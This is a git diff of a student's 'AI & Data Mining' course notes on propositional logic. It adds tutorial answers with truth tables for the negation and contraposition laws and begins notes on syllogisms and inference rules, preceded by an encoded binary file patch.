z4GOadJp95y4xm58xI(NR=!DyX{%Y`eDF79)B?#gIdMuKI{uOk5pz@*U!4LmGU=KvV zAA36dl@4$Lf&OcZt+~seS``fq6@a5T7y<`D%psN!iEwkcs|(=uAK$|t$cphVfFOXh zD-8BHL-pSw*#C|BH*_iJ!^w;tynM{v{&{2O5LXw^zj5>5$F_t*T)-}Hm%loK0M=j! z&?9=6$2$W<{`gcS)fDAqwRPB49)t&BSA{;X0|CO_;eWCp`$@{E2m=H;`2k!)ya3Jz zk;+1>q@j+E52#%*9_f<-Kkx*H!aO+sN7wccs2jxVfBn{Ah?Vst^H#1-9J&y&vnxnZ z=3m(lE{y;9Y(Q`TCjjIO0J&S*ay*Xvqn1ZE*Q5J^1|Kgcs1v~2+`$Fp1GWY|{9t&w zn7;u5;4oK^kJsM=|7~G#2>`6XmhcCmKP(HzpYDnfYbZeIFZTnIe~11h0j58T%KWgU zR#1q82fzwsjlrP?g+B;_>Hp83{bQD#tAm4@xg&__pOpSH&)gC0;PKy?|47jXJ%VLY zgTfrm9sUsmyU2mvK~@@IxTWo1%>L#7YnCL$#sLIi=i&u&^6+#2714cMD~AXDKDAuC!{I+B7Z-p7`Ztpgz~S;YQvkr>`p5k5b7?&8_aEtU z{^y|odieg>+He@u9;6SpdU*8zmZEA7hk@OVI3IM!_27T_{QEzX{~AF5pOyJrwUiXp z-HV-Q#ukjiAP(165q0~-8O8FHa23c@D79|Iuyujqq` z9PSny!^@Q$Z8#WXz!=nig6 z3$?UgMsk0<$3IG-F)nVJ&q8s_o8p$bJn@@wrqxu=O#~J~%xcc1cqHPk!pNq(BgHH8IwNJh?xaZu$g}gx z15`qB-4pA8%nj%=sjwS>xWdwom6Law^;z@IOB$bV%|S_a2x@Ji>@mDT2g`_-dHMs^ z`n7y(4EUQ8lFWi4n{wQMP>86++Yxz5)6M|xk`MOx zUmbUEDCdF0Iiv2*iD$LB4RI#rN^~Rg>1J`cV|`fd=A{*-i6?_{8WgUaGE&b)-v_@i z7nL&Sa0x(^OT(L<5~!S3UKlks}^2 z?Wvc9eH2eMye#8e+d%+Jmg2;O-;*!?2ml+YRZ*$LgG6~<8L^Lz2|gTR#&_qw6dU(E zw|)%`gdh~3FU+A6r6=Uox0!cM#fx7uT~K4I7_`1LXFw8OQ;@r-{**L(I~WFfIafkQ zhxen5_>GLB_YCG}0=tD7gXhXct1zZQ*NkyL!}?~p?Kxh}4U((YE*#ky?H!d<$5(bGJO+g4ZJ4dtpTs*b%w}5- zm~)M3xd;Ta+fmz%;HLO~7+dLd6&s4U`(4-EWC=e9Vp2aWG`BnrjR_1HOYC>MDnlTr zeW|S`Rfnu7qqfIeM5|XZ;=w$sXV8{iL_|X8s1hML?mdRl9YuMNtF;-jKaI@7D7CiR z{^s3_7rZm-lPe9^*k^Uuj`Q?>ZdMWj2(`qGfbtb0Q>T{G-d9ga1uHbZN)X>!Y_7=L zA993+myQyt$TMyRI4O_}c8OW(F{kGzbr$%}M^w^RVWH*K=(ZmW=d&98h|Bw!9xL-^ z>*e`;?v^gQZ?5y!6KS#Q17KZjMzzvn-8(Kuk_gYAbQ@{rmKOyo?*wl|$4U-OrirY> zTaX$#P9$&Oy>8;R_>`;pWKlZ86Z&}jBPzxYEjzQpljYk~1fTG|QKfQZ_~E%@DMm(pv<*6baXe`xwlC@mF8a#Eq)-Z*y~yrP-U34)p&5itxLT1N~MuDFS2Mg1{^O7*BrN9nU= zqGrSR>hz?n5y{Z!??g>BG%xJQDn)bu4gB2sdHLIYWm{U=7(v#&W)=BqQ$b1O&sue#kQvI1>^t?~ z)_2!6AL_L&%2;VPuvf7lm=W8*rQGz9!{(zTIKo^NN-{7V8d$IDnt?96DDKmV&W%%K zo%2GKuKq8$1(^Hqnb!kuy|Bl-<6g5q4x~P*2mUJlf+j1dbYNhW_l%dCn*E*6rqVGsX5N8po(=$_6T?Z#=k3 zVXC2{5C!@X%T5uAZ`2@&K;}(-kX>zLgPo)7G_H5lhAe1bC{^zvd44 zLe_l1*_tdp5Qbm$5wEiFbJe;|U#VE6by)cwOUm1`h%a`k^zS%!gypSzGxJ#>SBoC^ zgT>aUo3YiaM1vu_=?u0`=`90g$rBd0F)Y_;AqhbthQz2bBH^$xIB@Y(nr1(NHMun__eyyf|3 zVAw^#=5?^{ShVYC0#p1**8GeOtZom`OZH>u>+(Hz{Qa?lVXGP2OmVqSY5f=Ls}lR% zCXQy~{P9IrM*mlmVZTYg%jeI2YB|lq(s)|d#=Ro#?Eg#xwHi>ZdAc&wyW zBKTZ?x)OK9jLyOEHgWoVcIN_}m4ZK-uyUm|H~J#+kmz|lsn8k186_c| z@4Y)_lbB}Gg!i^MYLC%`^U-RAf-~^@h%34W>sZjKp(dHce-+<`66a9- z=hkVRz_8NivyKhcO?}ydH+FJ}`vR+ZkSoxXSbSS#Lvuk;uLjqSub4DGn_qJgJuY<0 zycXPMj8Md1%byxRxZFDFA0zgrO+9|*IBI!r@Z?E`EpvXI$$)AdlC>+MFc^ruA0oSa zT8iu$h)!{0DU8>^AQD%rSwnXZ8^WM#3misn~dAh z7|8`x?kBYae6P&;KWW&q#8PDH3Q%x7S29({BkQzDGc3)$+^aGr$cTDGn7 za)!=4`;!RTwiz@lhC_e^1v|~JRt$c1rT#msjv#yV9=NP(XOhQiC-V?NddPBX*P(cY zGeSRTfq!=mg?af<6TYOhh3flt-HqOc9i(9QX@p*HC5(N)UVxBhcob%dU_9lN(j*c# zJNlJ{Ax5-`S!LW*q?sd6Gzl=wVl>eQsQaEIif)MQa2A!z89cNctw%nr>Evip6SSPQ zbui=i(c^wTSpHc{^jS@qQjP@n7%Eteg*2OcA}nWjpqC|X%OH!x9<_l+D5j>8p~Mn+ zP)k4%Bf^twBsgqGBSQTt*?pq%N?;QuqDGhPysE{34A}BQi+LDlEzKWm-jY%WVJW-W zyj?D@&jq>0=SCdf#HT_`x!hI@NA8jpTw66_M}nU!Y*{3$h{=0Pfa#t_raTIo43T2U z>K7W%Gm!@iMEUDZu?Kz-Pa)=GXQs?Ka^_P@1an?A5e$(w%jAT1LLe2Gz3za)i^lK=;fdd`#g^ zb!?7J@z)YB4Wgs?F>bwu#Rb+rO+1VF^SzThfS!E zLD#BF5uFKik<@I*Ex{NSiEA`noQ$VQUSK!y$qT8B$|S>(6{>8Ec0zoeK$Cy>bxB7l zAm_=B&qT1Fm&V7Y;g2*?FCYtVEhrMCE#zZ8dR2o{Y(0=Fr0)**aWpp7(?1Hwx4C*E zKod5}MvW4WQQ;pc8Bu}Us9JBF5~eOhb#g*)sA02lUwvp+XwY`+`Ee!$il578Mi@#| zp_N*vEk@IV(~||cU^_^7Fg>ncz%zCTfW%AA|)hy3(@|H?7K!jBBWp_@Hjmg)n zlcsm9uN@O z3(i>leA7n$M(Vr_Jw3}nGyMvH99eDO5Nk6(a9 zyujo45pA&15x;-OY{vO|yHwJe!kvT(;#g!(#bN&e`?z#NT*Gw}G2G#s{V^!c4|B7YoO;ATPo+UUDAUcV`!nKU_)1W5O`N6( zVmu$qJ~Csf=?cv7MIEQnNi<&!V@Zw#6Jxp zhS&=9oOMgh{(3ub2h*KiFzileTW~XIVAMFH0Jlza1v=RI*YJd@(V!sLZ2K)7IlUfr zU}7uRPZVPd{|x)JNfWt4xZ?1M-&XV8ou8nANOHvW+zq^OwK@#{rTrW9b`YUy|nBixU{t zkPj7(5<#^^TmGwJn}!<-0u6U>KHq!au1#{2ZdqnLu^(&CY$PVBZ7ir#{B}r%_1HZl z61TROM|g08cdjB0>c-N?a}kg?dScR8U-8xfnwodN9YSpkus0NbIGZ)RVpaS3t`TE) zdUtl>=HQ9);3aBxX}H}?bz5PJL^^*<8MQ; z+^YT6^j ziz>)O2j#r6vygrF@*M%_EgK?94{67FAk+3rV|=a{n{0j5Fpd7J%Fha97>gy`|N z#q&%O)6We^McOS`JR-rug?@=Z1L$SpUj*EiU{6&sDE7k!lNxQABJz`;BbJLmA{6<0*AD4Zq1 zXe0KcruUhS4LxQcf~nQrlSe4g+lHW>jb{tpeuG71tbR$f$Px!q@)I`O>@;lsRSxVvo+obrPp1s)x*Yq@u?(@f& zk}u^cX!uWR_!#~6e~x{7YGE~~U4+!L?Q0!tG+#Jf|LjhJ(wwgiN{WY67UynCSCXk( zgA34u^Wsy^{%W%9IKbe#$(vF4EEFP7xE)KzuGuyO%13$#dZoG#3)A)8Q_=!C>gPD(1J3~^m{qfXaZ zt+w9Xr41l2qQx6_Ai|5n8H9d)J-;Hp%XyH$8I=y*9<}B~hsG8TqIPwGRkw5Q&Y9L`Gf^(hF(P!E3!+k16lOj_qyk!ICp% zXDNS4S%}wg)oHiW`DQja+q_KBm~KI&r@;2XpcJMsy{xd*N|_dJ{wUU`>ic&M1%@ws zPUyrxiJi@J6zx{6Hn_V9=AKEP?iC4ad)l;pV;g)$$Xf z+C1-2E^}N4WIbkJc0A58&tBT?l1hxH?l_q5er^*d@(E-{aZ+?mXlGc0P*L9}C9MtY zew^Hd=;f`#ye^+H!JVo<7z$a+8+@T=e(z6$m&_9Gl zlCd8Hc>!h8NV^Eh&E^x`^&0O2bN}fV{{f5KDgJA_s_)FqW`tMV?&FoGkcdBcsh^Vt z1d<$`b38FDy%an5&8l$$+ZO!Vfs_SG#?m%5kI*-Kz2#PP5u7wj+OSH`#`|x+>0`1? zI6SXQ1YL1#Lr&GeEs-3ZJ$UrLK=#$eb*+2wU{JG^o0Urn3}QCBx~qBZho&o|GvdFK z(PFfMO{lBgpCC5+5Lu4+J&QCDtHVJ_u_#LJ2LJ91W&7uCGo1YuL3wNT;gQPb$yX#u zIq?kiI>-2BS(dT)Ceot?=%<@=XY{=Zw59bFK}=0 zQ5Ch?5+4g<(jN|Q%1cd_wvj-_Aqp?DfQpSe$Hi(Z;fNHASopvS*;vBwC0hpw!7EG% zgYam3!RW7ua=wzw8+&xlg&OEwi_QVc`czH{}n`McD(mCkDu* zNs~X^p2#0z`Nev=7|SlpOB=Fty-T`6Y#wl_6~J{?$8tS2TV zi`d~MMZGi16TBO10;zdP9ra@?cc6->QD*cmcho_a@!^9~kI;6|df`b1El&r6w0Awm zj>!ajs#ZOm*0iD|eF;&_aP3zj{oQ)Su`KL+=MicKG#{rB&2dM;1(}#rW++8Cuh~}8VQ5G)p;_mqyu!U#1Hc8y}Hnd$xF+n z48>k0c(iw=!h-%ma&M{AH`*swLncAcM!0B2y9C2eBKvYpc>bk&&GUW6dKnaYU@mLT4Xuf@-X zM0L+9LTzn%+YHc5S0;Te#rmsRo^#`KB~RlAtT>-vxS*Y^;ot$6->g8xhc}JT9heN1rw;TJd}TPe;)@cg)GR}67qstd*i0SlVG)ec!U5hn znzgTt&OG!*6Xz()CJ^h(Mv;4;VeBVLQt!ENL<2i#k~QuY*|{`1a^TOcM#et3he3C( zBpqOA)M9Ls*w2k(XEuC0nnSQ!_I!HJAlINtHM)CsOl=3JENm!2K-({zruYGki<(x9 z$MtQ5zBge;iV~jUP7w3XU53+`QFyg=&SE>Rd_G6cqkLm3#*?X5@y8EnJ<)996E60A zJJG1!%TTClD|@H7E@Bc9evV~c&Ap!C@l^@PLxbZF>9;MiJ1eu{-vv;h-tLM@wBepg zbrR*grq`tG^WqO&_%Ax$oNkUXa|uhbdLrhp9Jp@>DBP}Y@iMfzrHeq?w5+q;R51*A zA2}bInxnrhG;VP2(DBrwzSkE`b}RqHciEA-o^h<>VYd&H9C@R-=nW?!-_GXLdAuvn z8K1(VIB`x<`y=|4%W&S@S;x6)J+{~W`LL&Rpx3)j2RFo0p+$Oy;X|#_uk?n%_p@Vi z4*Yly^KiJh?X@1kEA5`h|#iLO3rwt!=B*}ujE`*gd2@B*v?TDkSpl@T>iKMK%18 z#B6a%UVXMT=h@S#P^w2|11deZgKzY~4uOnVWLngt^HUX}Xxx&pzP|A6X?l3XK_i#D zbWE!^kKT&i?8&1(|Ho-l0k?J}n}SQm6n>OS{M*&?=9hxe@yhDr=`Nw*sV>7@&BiOr zHdq06iQ*!?#s@ifHy$pmsfC)aMK-Gs^=2zIKXrA0^X|EOPHk}7^WJGJXvLN;lIV9Ohp=Ck^BLsi=4ZsRRM)=MVJqhmFX*-Zy`9Vb_&>lfW5Jd1wbQb6* zs26VG5y4&|M1(2R0+VI}iaOCF@Wd?SN)_wHKj_%Mp>Ya)Gk*>^iT2v7t3BJh`}8in zl@oI=$QA@CzRgXKu@Pbmjd2~pi9LLfvW;c?W8rOaM*3S*0&4HE?`$=@oEdY_)zTSp z+t9YXy7@(+oH%yfcnCje>{#1KZrS{)gN`I7^qainHoBUg0n_PK{Cz5>52!vnGr#&f z5jS->5zUxtP#~@IaPzZOoFRFK1}wHKZx(<-^BMzyrLQ5NLsOPMY5mKk7#xisfSbAm zkR9_WF&^`U{~RUL2vWN-w9)6W4}ItF%K^$>hwD8H7#gDhZihKyqt%R?{*C>L>|2Gg zN27y54Ikm}6#_zMTu1WYTr!NUx-rZ&hq=@(!u<-CJncDLMaCo6YlGTx>^AiaTt3YU zE*R|WP;!1F20DHtJkF;KKFLTptdH_~C zVsEj`G4z<8BVOP>3ws7-340c4U*NXkY_VMQnr@kTGQUfzgKNXw5^$&K@j31melAXX zu2e4@T$d7Z>hZCq)ujtU#p>UNLye+JB_DB6WuV5)l;kY4YiQMj9CZRbBMaT3WPBocSA!DBO$s>UQx_U zVAXc*ZuJZEou&n`y0g_H@#G*^N*Ep+;mygd4o?V0LttlTK-nq>4(_Cl!*vpg+lzC1 z({|bNO_yg?(YW`eC+?c$t`5+PK$GLR<)hP+RC>0So_z6_FDQjydW9RT_odxYy)C2U zWIL>{GOsV4?P&{Y4NPR$o3G5Kn+&Ggn)R!0gh!9u(VD7WSWU^~7Ei@bryQJ4e1r*i z!}YCWEQJwL(ER{@0g$n%0WbiFO1@jak?p2E!97TL0FCM#Jb(+}7Ue6|^}hB)FB>n) z9u@$rSVf<{6kgU3oM8|)m!XvZIWnPn=Z(@K0z}m&Xo>h~#MEeg^lX#_+s*EM1@fjL zOhliPI#nmyCIZy~t{r{SB&eTmBcK*qj*A0&j8pD8!@)v-*p9OjQ8$^BvLA6HtW8`N z!;Wz)hz&D9dF!*g(6I%SJkor0PM7TqMb{U*2T&1*j#otK*d_7n0Js2xAI^^!TkI)a zeL|QOQ5JE5(qkCcgxL8$t)p54r0TjDP`wG7(aiX#h~&%GBJ@pUBt~p1s)33gXF5V_slTRy9QP^&`kJ|pqPxa51Wt0npq+@XdkwJH z@bO=Bn9D}bzM<|h&7@%k!?c%YOv6<4`yY5UJLopdW^k_sqp^O=0g0X;L&CF9Q_Zul zy&jCfhAoz7@Yt@$^xFDwzy!m$4UE}#jf>R7@bL*7u$sQdv_dOnd;<*5`@nl7zQB8# z@8JD0^_XsjkN1q<8Yc>lwYUmGf|YDmPiQT=E{ z1hUK$Df?xba__lgZB@3--8x{>j)3?0{-?y;cXnH6Ja^t=nU5G>4{}?qTIE6R6<<22 zeb&|g3ajjYg;kFKkzLIP+tn+&*5D5(q>;#*2H-!bbt3Y*TP^pH=$i*~7uipy7okjRyx0q^hd2-0uY1KJ6}5PA9A$ z&C1c+6TB^T&5RtgMQ39iS*<_QUkaTtjy#k$*P37B{helR!k_pYMlF2+k+(Mb$d}SC zYaUaLS3|I~^Er71de*#7B0j|~(olmxb#VQgz1J=Rx_bv27l+R`@+sqockmALV(y!iUoR;fp4hm|Vvi z&Cr&&xytoJ?mD#lm>_bF)a5JcNyr_>C{=h)J5&GheGd`W-F*+LP&_ zscs2vxz*Nr`dE_hiA9ebCo2h|O!kgE#+KyLZ{iJkPD4L`j2po`!GI?T1bN{QHv~B> z`8XPo20*D++7#5^_4RH3Rsuo<8(S_-4NSiHWSX)$W@W5WGJ)U+9nwxVUhya8><7cc zmWMjRUNR<>zy?xndf&+=lwl}NGVLy?Hj=1bX6`*#=nUYuPMZCqPTc;`YzJ#(OD>dR zr>-OP;vH8A?b`VgGqN$Um6{-b+Ybb?#35dh8=;$zXsm#$YzkK(qd@<4Vfi>{R^wN9 zHs{Sez?HNW5r^~ydd{FzmeuGwe#qKa0@ux|wSfq~@0=SES40aNB>rOA<%%q$i+@Qb z4aoOSVy2Sodl3<#(w%7D3DoFJuFyvs)ffa2nP3@}$-krnJjlv%MNGkVv?9Ik74V#K zGfgz4;e*5nHm2{BZ>SIWOkZd&z!uhXE>+lJj9b}rJHtslVVIkI$Rsn!oBnn&4~LFF zUxJRmzw-}NR+#jf9!rBQs}3E1w>;f%@QR<{9#ZXr*r&YryMF^jv&0|)@{|c!be}z=e|2s%sErX5wg8>KER(tdEk6ZGz zHfuPR&&Km0C)e85UGCokv~^TP9JrcZJrfP?h1aiIlWLrAC(;8+i05PJ6m>-1CQ2%^IcCg`?x<-dX|=f6Ug1NgTjrT@TLbyAVF z`DdeQg$`83guf!)t+AR_DQ_#zfmCGMjr^^tcY)Ix^du}wBh&DkoU9G{UAu$`16rz83f4|IesZ;b$}cGIUV`VHt; zIKLbKPpDIFI3wAQOEKmLC!i_PnrBfZ|TjeqU$McF(?3F{SO$1=NDQ-j*>zV<*>Qo`SMj zA5bv&Bkpd1qFy=Fqv{Vp*5|p>TI|ue&j*tS{Z}EJiUHi9hYG`cqn%lf{3>reubY)~ zTuHlx_tb{bIo&-04-vThx)W9ldn=g{F>GVxF ztdtd`y|0u7LW=7FcWc60!rnAfsXHTnXYjLnanUqqvSDqt6#}BNJgbBUwH50>cr4s( z;I3X3t>yNW_Rgz}wfm+cbMSq6!awd^36+d_ovkCdhaEt4&e~|+J!ob&g9&E7>FH&& z;jIdc4+Mp#r|Q3g;h*#RRNQP$NSNde&6ORk5SZjhKtOO7pSYR5gChwC2gg4W`dC2h ztbdxdfB#;mP1DL@nH~MLO3yEPa#fOK%`aWfW~<4XTUJT_xTp=>ep9->H=Mp1Ju&&| z=8j%cv0!b8!hyp`grug$^>z^&E(Vj{AdIGq9zzM(AD~JPOx@r%P=ckxj2B|gO;rkl z?@qXiG1Lt6vz5^r4KRg4U^ak302<|xP}V8LglWA0yf?wfaAiDK7b8eklQSwvNq;X0 z5Y6+2HliFeV5NeK^Y=0U(ZeLe@4%J%5!4L5;mT3O`!-qKihBU1UJ1qT%a&%g0E(He zF`6vRwP`cNdz8x~d>n%puX1lP%{i0RhjA6ogMo2=8vrVRgK!NY^aY*EN{&W+Dc|UJ zeU2k~RDD~$S?r$$%?iyY7^|5Ikt0Peh*E{z*~Ml?Sld$|&01HpjS=AQ`WDxh3R2P* z6BdpKO1QJ6?jG4*P{nM+IY-=xH`-T|bCc3r(KT-faZe~$0?2pGyS2@y4e|QsLx_vu zjBudP8#e4rh?zxw4c~II4LnRvC|;==4bd9IZSBr`SZ|vKJ7(x3^n+aJ7stEIPbX%TF5~3AGS(4l)fQU1N**3VDeuv?j zU>rrb%?k}I`AJ?D50&Rdk=TEqqUR-wA&?|_ zN|cw<`|hMSk=4FJL_je!qG7$u-H+ZRVG+l6VIEf&F?V5Ro3-LleE^7Gielycou2BW z#^4(1_Ba!uV~jts0_15+s}EXDMV#_nHSYAvJF`3pn+q*p0a)k@Xqb`Ec?{yw^tDsN z#6t~~>3-D=1p)8kv8*jc1Qt`wLeHp=*o>d-f|keB54-^Z@+9TayCyskT3nB#-%EO} z8OzR{zL&(WeP6&@Wz1u|#t_4MzbZXb0(36R)*vS|mSxglfb!O1(!lcVy6yI$$3Pt- z8tf7I`eWLwSdSv0J5r*Ih;E1dsTux5i|7@DhS{;TT3YoABVd|`t|iY&&XtWF+|58? z4u0TJ_v=zu71E0_!|{i!*^B#ffa9%$yxL;HNO_LFHPu^D9>SevzTK)6YaQLR3uRXCo!DTH?k_x6ufr?B?ieju{t+@yt{v_iw z#&-G3#W?=9i^`4)eVXRtOjuDqWZq|1k1rDvk|~a`5k{+x3>}{z*En)Gyg)q`v_yE9 zd4WFlg;gz%&S~?=FA_l=r$M>An|bRlc0AW}&riQf>&DaWSBMc0gZZYJ@C(hRIc&nP z=P=g7ca~RuRym#DLr*hSjC-_qd@kU>m0VjZ?z1D25ctgyMMfbZ z1Pg&u3ic9Ji$f&(-1Z$5$5_PA*j%Sb-}yA=Zg*y^Bcft_Tqy_LKBx)BC>ZRw!8c`^ ziE}M54U1nDcLPzD`K@S_;7(&Z|?? zXp(IqRVvJ=V>YNzlEx$uhhz(Xx2iM;xv-<#QK?W$IX>n&sus7m|N3gueUi8|Y51{G zztSFl6qee^BBOb(Uz>xKTqoljMX_arZ(k@;gV7qI*4@07V&ga6O8lEN^pki3zOS;z zEUmeaXsK)5n)9?`@%1zzR+>jt@MX;(4Bz90rgfI7TK_B&F=(Dj38|8xH($p@bS60bh?OP6lLb7+f#-cnSR2W zPTbMp#f_?Ow4{Kff?!~I3rmynF1w1#QMjITBPW%gfBf=E!%GTMXgU-nqZPC8gd)T=fI& zYpl^Q`U^NMnP%Y@_pbVLi|57R=&p%KIjv)h`zmxnUv7hl}77^BZ~&_58n z3s8l?E^d*U)x}tHNk+ZXUw);l&1Tfk(RPG28 zQ(CRszpAjbw@~8cEl>@b1c;Kn?DD>Py~*!&cjMfCC3J|IvWjJ5KG(_d+=;%XFv(g? zRJFn#HGFPOxfEzY(=b7GgEmU^*(&EUaUC39WFB^Xs4a=V!}vAwE1n_T`Cc^6Q|dYE z*Yo!B@OR6RI3>*-~1Q6NuBuXl1G-!8-V6*q;xbD;UCV8!J! zxVIo>FWe&{eSOtLKZVGqEj~||tfsZ^-JZGwO^mu=<3&H?lfEag;ZUX|U#q_y0X~-a zi!`V-52KE350(se|L{08R6(LXl%euNlL#A4y%faC{H+7PCDj>^g{fSoZ!I7$75XDn z)UAr1MT&si#R;AjylK0-r&y?HuRa61@p}p z5IbV++KHH+R0g|ZntE`}j||yKby#hrQF-_|*FQMewQ)Ka1rHOHM2N?JDGNq3?D7b9 z6Dh32&>mx#oI=caa!p_iTj9{P;jcpmzdi$+Cq8tcYgaMpY{hVEd_I=*h2zlb;O ztTOgh@w={)MX1)#82EWKogzmM+5M|=kw=8`Lw8T@q6gYc)SnJDMWvF|b(U95pmXi`@UrvPHNW$ACxlJ61mg1 zYy}0)ef-wC`(PmJjb+d^+D4QUPXQBz3*KrB|I@PBwaDXb^)eh&PZf@>@WQt1Xbn03 z#VbxPirCJ-x-uYUaM_W66e&@#w=s4y0v8*3Z)^NX#YCL}#K;O{WM-p5U=nh2{A^?Y zo`y-q%+b;WJXUrxG&eDF1W$>8tDZQ5mua(rpL7-u4s9S1DDztw{1z&|g~@NB{#$4R zS-}Gk==@ul{T6?$^>?-HKQz|Ar;L9Ko8Q8ShDqAQ&Beyv*x^0+bpAM|nT@q5xF!n8 zdr@v?ATt|~nVA#B!oti3(gd#|Yh(Q1FI2HNu(dTY1{YN^uyim%U{X*KQ)d)+va~cb zu(tmF{Z&4jIgo%qe_jWA5;YTh2k_xYSQtU9AT};$b~Y9UW=8hEUm)-XCh8i5s3Q>kVZ^n%RWrIFBjk1rMV9*A>{=X_)nDm@-FI} z%X2Eutl+({=#Yy5d_fJN(GSCQ@uHZX6gx`&Q1~EvAwV5yh+A7?g4o{@Us!Jh+h2-k%Fa`3 zj@VUEs|{LKQQ98~TZ&6>uVX0CZB!p@&=*s-A5Ef~pBk#vFVui9JV>M8kW{$%M*Y!z z9CLkk#FJSog^H=f9pEykRfX5p6!)Dm@SCM_Dk|j%oGtGGoi2uWw(Y4vOWtkVqyD@z zJDc4wijYMY;J# z?+zbg4VfC1%B7V$YkC|uSc>qhw)WZ&YGRyw$_mDrXQ^;~TEN4m0T3tk4ejyq9Klzl znn^YGr^jEx>Yrmf{=BQ|N+zEWn53+YOoIh(4kuY=p=P@UQQyg-Tg6{%1aUuIe(<8d{fn56$Ag+CVd&ZcO zyLYUZ;=*}?m(YS4e*XR#6Xc`_c-C*8Y_5J*I;zNOuAkw7iz zgeefltLVmdB_;HXfk=&kwunLIib3>V2tpW8z7Sincu;r~r~uWg@V4+>0Q39ccdR0X zA2#N#;6<=hx~W8SV9aw-4s#*!a^ahE#3=7K)f$BH>qTH4g*h?=QLlf1u7v~$y51oD zAVul|5_G~v{NNWgK)NM?*{(sv0K(g)_+zC6;i?B}q89h(Lj!^i;CDxqRumZ|$;yIkrK-xG`mTymE!=5VQw)G&~5;r41?rR3A<^ oWO}$I`uM5SF8u2=;oxXs@91g|eh5GyAR99m0wtxGyg0&t0S?1mx&QzG literal 0 HcmV?d00001 diff --git a/AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md b/AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md index 6c3dfe3..cb9bed3 100644 --- a/AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md +++ b/AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md @@ -27,16 +27,16 @@ Formula: p => q (b) Increased spending overheats the economy. Atomic Propositions: - Increased spending + Increased spending Overheats the economy -Connectives: +Connectives: None, implied non-linguistic Formula: p => q (c) Increased spending coupled with tax cuts overheats the economy. Atomic Propositions: Increased spending - There are tax cuts + There are tax cuts Overheated economy Connectives: Coupled with @@ -56,7 +56,7 @@ Atomic Propositions: Inflation does not rise Connectives: either / or -Formula: p +Formula: p 1. Remove as many brackets as possible from the following propositions without altering their meaning (i.e. the truth table). diff --git a/AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md b/AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md index 314cabc..0b14885 100644 --- a/AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md +++ b/AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md @@ -19,7 +19,9 @@ - Disjunction (∨): p ∨ q is true if and only if at least one of p or q is true - Implication (⇒): p ⇒ q is false if and only if p is true and q is false - Equivalence (⇔): p ⇔ q is true if and only if p and q have the same truth value + ## Precedence Order of Connectives + 1. Negation (¬) 2. Conjunction (∧) 3. Disjunction (∨) @@ -27,6 +29,7 @@ 5. Equivalence (⇔) This means that in a formula without parentheses, ¬ takes precedence over ∧ and ∨, ∧ and ∨ have the same precedence but associativity to the left, and ⇒ and ⇔ also have the same precedence but associativity to the right. For example, p ∧ q ⇒ r is equivalent to (p ∧ q) ⇒ r, not p ∧ (q ⇒ r). + ### Propositions and Connectives (Examples) #### Atomic Propositions: @@ -119,6 +122,7 @@ This means that in a formula without parentheses, ¬ takes precedence over ∧ a - Formalized as: p ∧ q ⇒ ¬r - Argument: If Bob eats carrots, then he will be able to see in the dark. Therefore, if Bob can’t see in the dark, then he hasn’t eaten carrots. - Formalized as: p ⇒ q ≡ ¬q ⇒ ¬p + # Summary - Logicians focus on argument form diff --git a/AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md b/AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md new file mode 100644 index 0000000..674204b --- /dev/null +++ b/AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md @@ -0,0 +1,44 @@ +1. George Boole +2. Truth Tables for a) Negation b) Contraposition + +a) +Negation Law +¬¬p ≡ p + +| p | ¬p | ¬(¬p) | ¬(¬p) ⇔ p | +| --- | --- | ----- | --------- | +| T | F | T | T | +| F | T | F | T | + +b) + +Contraposition Law +p ⇒ q ≡ ¬q ⇒ ¬p + +| p | ¬p | q | ¬q | p ⇒ q | ¬q ⇒ ¬p | p ⇒ q ⇔ ¬q ⇒ ¬p | +| --- | --- | --- | --- | ----- | ------- | --------------- | +| T | F | T | F | T | T | T | +| T | F | F | T | F | F | T | +| F | T | T | F | T | T | T | +| F | T | F | T | T | T | T | + +p ⇒ q ⇔ ¬q ⇒ ¬p MUST be true, since p ⇒ q and ¬q ⇒ ¬p are shown in the truth table to be the same logical equivalence + +1. Provide names of laws + 1. Negation Law + 2. De Morgan's Law + 3. Negation Law + 4. De Morgan's Law + 5. Negation Law Twice + 6. Associative Law + 7. De Morgan's Law + 8. De Morgan's Law + 9. Negation Law Twice +2. Show logical equivalence +p ⇒ q +¬q ⇒ ¬p +p ⇒ q +≡ (¬p) v q +≡ q v (¬p) +≡ ¬ (¬q) v (¬p) +≡ (¬q) ⇒ (¬p) diff --git a/AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md b/AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md index 26168ea..bfd578f 100644 --- a/AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md +++ b/AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md @@ -151,4 +151,4 @@ 2. Prove De Morgan's laws using truth tables or transformational proofs. 3. Prove the laws involving true and false using truth tables or transformational proofs. 4. Prove the laws of simplification using truth tables or transformational proofs. -5. Prove the equivalence of two given formulae using transformational proofs (as demonstrated in slides 21 and 22). \ No newline at end of file +5. Prove the equivalence of two given formulae using transformational proofs (as demonstrated in slides 21 and 22). diff --git a/AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md b/AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md new file mode 100644 index 0000000..09e76a5 --- /dev/null +++ b/AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md @@ -0,0 +1,53 @@ +1. A syllogism is an instance of a form of reasoning in which a conclusion is drawn from two given or assumed propositions; a common or middle term is present in the two premises but not in the conclusion, which may be invalid. +2. Aristotle + +**Double Negation ¬ Elim ¬ ¬ p p** + +| Propositions | Premises | Conclusion | +| ------------ | ------------ | ---------- | +| p | $\neg\neg p$ | p | +| T | T | T | +| F | F | F | + +**Hypothetical syllogism; this says that if p implies q and q implies r, then it can be logically concluded that p implies r. p ⇒ q q ⇒ r p ⇒ r** + +| Propositions | | | Premises | | Conclusion | +| ------------ | --- | --- | -------------- | -------------- | -------------- 